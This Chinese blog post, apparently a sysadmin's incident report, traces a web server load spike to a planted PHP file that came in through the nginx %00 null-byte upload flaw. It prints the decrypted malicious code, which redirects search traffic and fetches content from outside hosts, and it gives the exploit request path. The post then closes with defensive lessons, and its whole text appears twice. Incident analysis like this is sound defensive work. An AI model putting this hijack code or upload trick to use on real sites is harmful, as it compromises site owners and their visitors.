導讀：
服務器突然負載比平常高出了50%，經過長時間分析發現原來是黑客利用nginx的一個漏洞，通過圖片上傳了含有代碼的圖片，然後調用圖片使用post傳入代碼，生成一個含有推廣鏈接代碼的php可執行文件，代碼在調用時需要多次解密，因此直接導致負載升高。
起因：
今天早上來到公司照例打開cacti監控查看服務器的運行情況，突然發現兩臺網站服務器的負載比平時高了50%，這個主要從CPU的使用情況以及服務器的load值來看。
排查：
於是趕緊登錄到服務器上使用top命令查看，發現是一些php-fpm的進程瞬間占用了大量的CPU，奇怪，平時那些php-fpm的進程占用CPU很少超過2%的，今天怎麽有的會達到100%，於是趕緊咨詢運維的同事昨天是不是有程序發布到正式環境。同事回答卻是有，發布時間為19:48左右，對照cacti的查看，發現負載升高是在淩晨3點中左右，因此可以初步確認發布和負載升高沒什麽直接的關系。
那麽到底是什麽導致服務器的負載一下子升高了那麽多呢？帶著這個疑問，我開始采用linux下的一些命令行工具開始排查，過程如下：
首先查看進程是否打開什麽文件，找到進程高的pid，cat /proc/pid/fd 沒有發現有打開的文件，接著采用strace –p pid跟蹤相應的占用cpu高的php-fpm進程，也很難發現問題，因為占用CPU高的進程不是一直占用CPU高，而是瞬間的，所以很難跟蹤。然後采用lsof命令查看相應的占用CPU高的pid，lsof –p pid ，發現路徑都是指向bbs根目錄下，因此初步確定bbs根目錄必定有蹊蹺。
目前可以確定的是bbs根目錄和這次的負載高有直接的聯系，那麽如何找到其中的聯系呢？我的思路是想找出是什麽php文件引起的，也就是php-fpm進程是調用的哪個PHP文件的時候會出現負載突然升高的情況呢？請教了幾個高手都不清楚，在網上找了半天也沒找到合適的答案，突然想起前段時間出現類似的木馬事件，也是導致服務器負載高了很多，上次木馬事件是因為nginx一個文件上傳的漏洞導致，並且為了防止此類事情的發生已經寫了一個專門檢測php文件的腳本，采用對文件進行md5的形式，如果現在的文件的md5和原始文件不匹配就會發短信和郵件報警。同時也開啟了nginx上post日誌，會記錄用戶執行post操作的內容。似乎突然來了靈感，趕緊運行了那個文件檢測腳本，發現一個forums.php異常，服務器上本來不存在這個文件的，攻擊者為了隱藏其鏈接，對該文件中的代碼做了30多次的加密封裝，通過開發同事的協助解密該文件後發現如下內容：
error_reporting(E_ERROR);
$domain=$_SERVER['SERVER_NAME'];
$dddd = $_SERVER['PHP_SELF'];
$qqqq=$_SERVER["QUERY_STRING"];
$filename = end(explode('/',$dddd));
if(stristr($_SERVER['HTTP_REFERER'],'baidu.com/'))
Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);
else if(stristr($_SERVER['HTTP_REFERER'],'google.com.hk/search?'))
Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);
else if(stristr($_SERVER['HTTP_REFERER'],'soso.com/q?'))
Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);
else
{
if($qqqq=="")
{
$a="http://".$domain.$_SERVER['PHP_SELF'];
$show = file_get_contents('http://localtemp.665203.com/server.php?gid='.rand(1,20000).'&domain='.$domain.'&filename='.$filename.'&url='.$a);
echo $show;
}
else
{
$qqqq=str_replace('&',"",$qqqq);
$a="http://".$domain.$_SERVER['PHP_SELF']."?gid=".$qqqq;
$show=file_get_contents('http://localtemp.665203.com/server.php?gid='.$qqqq."&domain=".$domain.'&filename='.$filename.'&url='.$a);
echo $show;
}
}
?>
很明顯，服務器中馬了。將此文件備份後刪除，服務器的負載馬上降了下來，看來這個文件就是罪魁禍首了。現在知道了是這個文件導致的，那麽這個文件是通過什麽方式上傳上來的呢？如何避免再次被種馬，接下來詳細分析一下是什麽漏洞導致了這次木馬事件，如何來預防？
分析：
查看到那個木馬文件的更改時間是淩晨的3點零4分，那麽這個文件的上傳時間可能就是淩晨的3點零4分，帶著這個疑問，就去查看服務器網頁日誌文件，發現了攻擊的蛛絲馬跡，從日誌中顯示，該用戶是通過上傳頭像，頭像中含有php代碼，然後利用Nginx %00空字節執行任意代碼(php)漏洞，通過POST /ucenter/data/tmp/upload545562.jpg%00.php的方式，把代碼寫入到論壇根目錄，從http://sebug.net/vuldb/ssvid-20898查到了該漏洞，nginxngin... 0.5.*、nginx 0.6.*、nginx 0.7 <= 0.7.65、nginx 0.8 <= 0.8.37這些版本都存在這個漏洞，只需要將版本升級到0.8.37以上的版本就能解決，因此將馬上將nginx升級至1.0.12版本，問題解決！
經驗教訓：
通過這次木馬事件，有幾個教訓和心得和大家分享一下：Ø 積極關註服務器的相關安全漏洞，Nginx %00的漏洞去年淩晨的2011-07-20就出來了，如果關註及時的話此次木馬時間完全可以避免。Ø 對所有的程序文件都定期的進行md5校驗，當出現不一致的時候檢查代碼文件，能更快的發現代碼文件被改的跡象，減少損失。Ø 對服務器的權限嚴格控制，如果設置了論壇根目錄不能寫入，此次攻擊也能避免。Ø 加強監控，每天關註服務器的運行情況，對服務器突然的異常保持敏感並馬上著手排查。因此以後主要從這三方面來加強web服務器的安全。
服務器突然負載比平常高出了50%，經過長時間分析發現原來是黑客利用nginx的一個漏洞，通過圖片上傳了含有代碼的圖片，然後調用圖片使用post傳入代碼，生成一個含有推廣鏈接代碼的php可執行文件，代碼在調用時需要多次解密，因此直接導致負載升高。
起因：
今天早上來到公司照例打開cacti監控查看服務器的運行情況，突然發現兩臺網站服務器的負載比平時高了50%，這個主要從CPU的使用情況以及服務器的load值來看。
排查：
於是趕緊登錄到服務器上使用top命令查看，發現是一些php-fpm的進程瞬間占用了大量的CPU，奇怪，平時那些php-fpm的進程占用CPU很少超過2%的，今天怎麽有的會達到100%，於是趕緊咨詢運維的同事昨天是不是有程序發布到正式環境。同事回答卻是有，發布時間為19:48左右，對照cacti的查看，發現負載升高是在淩晨3點中左右，因此可以初步確認發布和負載升高沒什麽直接的關系。
那麽到底是什麽導致服務器的負載一下子升高了那麽多呢？帶著這個疑問，我開始采用linux下的一些命令行工具開始排查，過程如下：
首先查看進程是否打開什麽文件，找到進程高的pid，cat /proc/pid/fd 沒有發現有打開的文件，接著采用strace –p pid跟蹤相應的占用cpu高的php-fpm進程，也很難發現問題，因為占用CPU高的進程不是一直占用CPU高，而是瞬間的，所以很難跟蹤。然後采用lsof命令查看相應的占用CPU高的pid，lsof –p pid ，發現路徑都是指向bbs根目錄下，因此初步確定bbs根目錄必定有蹊蹺。
目前可以確定的是bbs根目錄和這次的負載高有直接的聯系，那麽如何找到其中的聯系呢？我的思路是想找出是什麽php文件引起的，也就是php-fpm進程是調用的哪個PHP文件的時候會出現負載突然升高的情況呢？請教了幾個高手都不清楚，在網上找了半天也沒找到合適的答案，突然想起前段時間出現類似的木馬事件，也是導致服務器負載高了很多，上次木馬事件是因為nginx一個文件上傳的漏洞導致，並且為了防止此類事情的發生已經寫了一個專門檢測php文件的腳本，采用對文件進行md5的形式，如果現在的文件的md5和原始文件不匹配就會發短信和郵件報警。同時也開啟了nginx上post日誌，會記錄用戶執行post操作的內容。似乎突然來了靈感，趕緊運行了那個文件檢測腳本，發現一個forums.php異常，服務器上本來不存在這個文件的，攻擊者為了隱藏其鏈接，對該文件中的代碼做了30多次的加密封裝，通過開發同事的協助解密該文件後發現如下內容：
error_reporting(E_ERROR);
$domain=$_SERVER['SERVER_NAME'];
$dddd = $_SERVER['PHP_SELF'];
$qqqq=$_SERVER["QUERY_STRING"];
$filename = end(explode('/',$dddd));
if(stristr($_SERVER['HTTP_REFERER'],'baidu.com/'))
Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);
else if(stristr($_SERVER['HTTP_REFERER'],'google.com.hk/search?'))
Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);
else if(stristr($_SERVER['HTTP_REFERER'],'soso.com/q?'))
Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);
else
{
if($qqqq=="")
{
$a="http://".$domain.$_SERVER['PHP_SELF'];
$show = file_get_contents('http://localtemp.665203.com/server.php?gid='.rand(1,20000).'&domain='.$domain.'&filename='.$filename.'&url='.$a);
echo $show;
}
else
{
$qqqq=str_replace('&',"",$qqqq);
$a="http://".$domain.$_SERVER['PHP_SELF']."?gid=".$qqqq;
$show=file_get_contents('http://localtemp.665203.com/server.php?gid='.$qqqq."&domain=".$domain.'&filename='.$filename.'&url='.$a);
echo $show;
}
}
?>
很明顯，服務器中馬了。將此文件備份後刪除，服務器的負載馬上降了下來，看來這個文件就是罪魁禍首了。現在知道了是這個文件導致的，那麽這個文件是通過什麽方式上傳上來的呢？如何避免再次被種馬，接下來詳細分析一下是什麽漏洞導致了這次木馬事件，如何來預防？
分析：
查看到那個木馬文件的更改時間是淩晨的3點零4分，那麽這個文件的上傳時間可能就是淩晨的3點零4分，帶著這個疑問，就去查看服務器網頁日誌文件，發現了攻擊的蛛絲馬跡，從日誌中顯示，該用戶是通過上傳頭像，頭像中含有php代碼，然後利用Nginx %00空字節執行任意代碼(php)漏洞，通過POST /ucenter/data/tmp/upload545562.jpg%00.php的方式，把代碼寫入到論壇根目錄，從http://sebug.net/vuldb/ssvid-20898查到了該漏洞，nginxngin... 0.5.*、nginx 0.6.*、nginx 0.7 <= 0.7.65、nginx 0.8 <= 0.8.37這些版本都存在這個漏洞，只需要將版本升級到0.8.37以上的版本就能解決，因此將馬上將nginx升級至1.0.12版本，問題解決！
經驗教訓：
通過這次木馬事件，有幾個教訓和心得和大家分享一下：Ø 積極關註服務器的相關安全漏洞，Nginx %00的漏洞去年淩晨的2011-07-20就出來了，如果關註及時的話此次木馬時間完全可以避免。Ø 對所有的程序文件都定期的進行md5校驗，當出現不一致的時候檢查代碼文件，能更快的發現代碼文件被改的跡象，減少損失。Ø 對服務器的權限嚴格控制，如果設置了論壇根目錄不能寫入，此次攻擊也能避免。Ø 加強監控，每天關註服務器的運行情況，對服務器突然的異常保持敏感並馬上著手排查。因此以後主要從這三方面來加強web服務器的安全。
文章標籤
全站熱搜
留言列表
